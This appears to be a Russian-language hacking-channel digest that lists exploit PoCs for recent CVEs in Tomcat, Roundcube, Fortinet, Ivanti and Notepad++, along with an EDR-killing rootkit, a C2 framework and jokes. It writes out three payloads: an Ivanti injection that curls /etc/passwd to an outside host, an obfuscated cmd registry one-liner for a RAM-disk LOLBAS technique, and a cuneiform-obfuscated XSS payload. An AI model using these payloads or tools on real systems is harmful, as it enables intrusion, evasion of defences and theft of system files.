CVE-2025-31650
*
Apache Tomcat ver 10.1.39
*
DOS exploit

CVE-2025-49113
*
Roundcube ≤ 1.6.10
Post-Auth RCE
*
ALL in ONE (roundcube in docker + POC)

CVE-2025-32756
*
Fortinet RCE (FortiVoice, FortiMail, FortiNDR, FortiRecorder, FortiCamera)
*
PoC

красивое

#error

Kill EDR Processes permanently
*
user-mode code and its rootkit
*
dark-kill

КРУТО !
*
код Apollo 11 Gualdance Computer (AGC) для командных и лунных модулей.
*
link

Ivanti Decrypt Stored SQL

POC

https :// [ivanti-ip/domain]/api/v1/license/keys-status/;curl -X POST -d @/etc/passwd oastify[.]xxxxx

CVE-2025-33053
*
Автоматика WebDAV / Ubuntu / Apache2 и вредоносны.
*
Proof Of Concept

Слишком нестандартный способ создания RAM-диска
Ставит значения в реестр, необходимые для эмуляции RAM-диска, запускает scmbus, а там уже монтирует виртуальный диск в память.
В общем все malware/LOLBAS-техникс

cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"

Israel Iran Conflict
*
список hack групп

breaking ld_preload rootkit hooks
*
Read and POC


#rootkits #linux #ld

СИшечка !
*
Web Server From Scratch

Watch

exploiting a heap overflow in Llama.cpp
*
what the fucking noise

FileFix Attack
*
lInK0

TRAP 😁😁😁😁
еще есть ХЕЛПЫ с кавычками
и вообще кавычки

#trap #humor

Ды вы охренели !

XSS payload, Cuneiform-alphabet based

"><img/src=x onerror="𐂃='',𐃨=!𐂃+𐂃,𐂝=!𐃨+𐂃,𐃌=𐂃+{},𐁉=𐃨[𐂃++],𐃵=𐃨[𐂓=𐂃],𐀜=++𐂓+𐂃,𐂠=𐃌[𐂓+𐀜],𐃨[𐂠+=𐃌[𐂃]+(𐃨.𐂝+𐃌)[𐂃]+𐂝[𐀜]+𐁉+𐃵+𐃨[𐂓]+𐂠+𐁉+𐃌[𐂃]+𐃵][𐂠](𐂝[𐂃]+𐂝[𐂓]+𐃨[𐀜]+𐃵+𐁉+'(document.domain)')()"

#этопотомучтовывцерковьнеходите

AdaptixC2
*
Download framework

Read wiki/manual

Get Extension-Kit

#CC

CVE-2025-49144
*
Notepad++ v8.8.1
*
SYSTEM-level POC

#win #lpe

сцук.dll 😆